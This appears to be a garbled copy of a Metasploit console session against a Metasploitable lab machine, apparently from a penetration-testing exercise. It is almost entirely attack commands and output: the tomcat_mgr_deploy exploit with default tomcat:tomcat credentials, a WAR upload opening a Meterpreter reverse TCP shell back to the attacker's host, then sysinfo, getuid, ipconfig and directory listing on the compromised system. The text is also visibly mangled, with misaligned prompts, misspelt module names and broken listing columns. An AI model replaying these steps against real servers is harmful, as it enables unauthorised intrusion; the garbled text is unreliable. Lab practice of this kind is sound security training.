```
msf exploit(
                                            y) > use exploit/multi/http/tomcat_mgr_deploy
* No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(
                                                   y) > set RHOST 192.168.1.7
RHOST ⇒ 192.168.1.7
                                           deploy) > set RPORT 8180
msf exploit(
RPORT ⇒ 8180
                                           deploy
) > set HttpUsername tomcat
msf exploit(
HttpUsername ⇒ tomcat
                                           deploy) > set HttpPassword tomcat
msf exploit(
HttpPassword ⇒ tomcat
                                           denlov) > set LHOST 192.168.1.15
msf exploit(
LHOST ⇒ 192.168.1.15
                                          denloy) > run
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.21/lib/recog/fingerprint/regexp_factory.rb:3
4: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression

[*] Started reverse TCP handler on 192.168.1.15:4444
msf exploit(
    Attempting to automatically select a target...
Automatically selected target "Linux x86"
Uploading 6220 bytes as VbACAGYgvYkXN5hm.war ...
    Executing /VbACAGYgvYkXN5hm/X9ihED9UjkUQj0XyEXEHr7wxT.jsp...
[*] Undeploying VbACAGYgvYkXN5hm ...
[*] Sending stage (58073 bytes) to 192.168.1.7
[*] Meterpreter session 1 opened (192.168.1.15:4444 → 192.168.1.7:60068) at 2025-09-07 10:27:41 -0400
meterpreter > sysadmin
    Unknown command: sysadmin. Did you mean sysinfo? Run the help command for more details.
meterpreter > sysinfo
Computer
                    : metasploitable
                    : Linux 2.6.24-16-server (i386)
Architecture
                    : x86
System Language : en_US
Meterpreter
                   : java/linux
meterpreter > whoami
```

```
meterpreter > getuid
Server username: tomcat55
meterpreter > localtime
Local Date/Time: 2025-09-07 10:33:30 GMT-04:00 (UTC-0400)
meterpreter > ipconfig
Interface 1
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
Interface 2
            : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.1.7
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fefa:dd2a
IPv6 Netmask : ::
meterpreter > ps
```

```
meterpreter > lpwd
/home/kali
meterpreter > ls
Listing: /
Mode
                  Size
                          Type Last modified
                                                           Name
                                2012-05-13 23:35:33 -0400
                                                          bin
040444/r--r-r--
                 4096
                           dir
040444/r--r-- 1024
                                2012-05-13 23:36:28 -0400
                           dir
                                                           boot
040444/r--r--r-- 4096
                           dir
                                2010-03-16 18:55:51 -0400
                                                           cdrom
040444/r--r-r--
                 13820
                          dir
                                2025-09-07 09:02:38 -0400
                                                           dev
040444/r--r-r--
                 4096
                           dir
                                2025-09-07 09:02:37 -0400
                                                           etc
                                2010-04-16 02:16:02 -0400
040444/r--r--r--
                 4096
                           dir
                                                           home
040444/r--r--r--
                 4096
                                2010-03-16 18:57:40 -0400
                           dir
                                                           initrd
100444/r--r-- 7929183 fil
                                2012-05-13 23:35:56 -0400
                                                           initrd.img
040444/r--r--r-- 4096
                           dir
                                2012-05-13 23:35:22 -0400
                                                           lib
040000/--
                 16384
                           dir
                                2010-03-16 18:55:15 -0400
                                                           lost+found
040444/r--r--r--
                 4096
                           dir
                                 2010-03-16 18:55:52 -0400
                                                           media
                                2010-04-28 16:16:56 -0400
040444/r--r--r--
                 4096
                           dir
                                                           mnt
100000/----
                 12310
                           fil
                                2025-09-07 09:02:38 -0400
                                                           nohup.out
040444/r--r--r-- 4096
                           dir
                                2010-03-16 18:57:39 -0400
040444/r--r--r-- 0
040444/r--r-- 40
                          dir
                                2025-09-07 09:02:11 -0400
                                                           proc
                 4096
                          dir
                                2025-09-07 09:02:38 -0400
                                                           root
040444/r--r--r--
                                 2012-05-13 21:54:53 -0400
                 4096
                          dir
                                                           sbin
040444/r--r--r-- 4096
                                2010-03-16 18:57:38 -0400
                          dir
                                                           srv
040444/r--r--r-- 0
                                2025-09-07 09:02:12 -0400 sys
                           dir
                          dir
                                2025-09-07 10:27:40 -0400 tmp
040666/rw-rw-rw- 4096
040444/r--r--r--
                 4096
                          dir
                                2010-04-28 00:06:37 -0400 usr
040444/r--r--r--
                 4096
                           dir
                                 2010-03-17 10:08:23 -0400
100444/r--r-- 1987288 fil
                                2008-04-10 12:55:41 -0400 vmlinuz
meterpreter >
```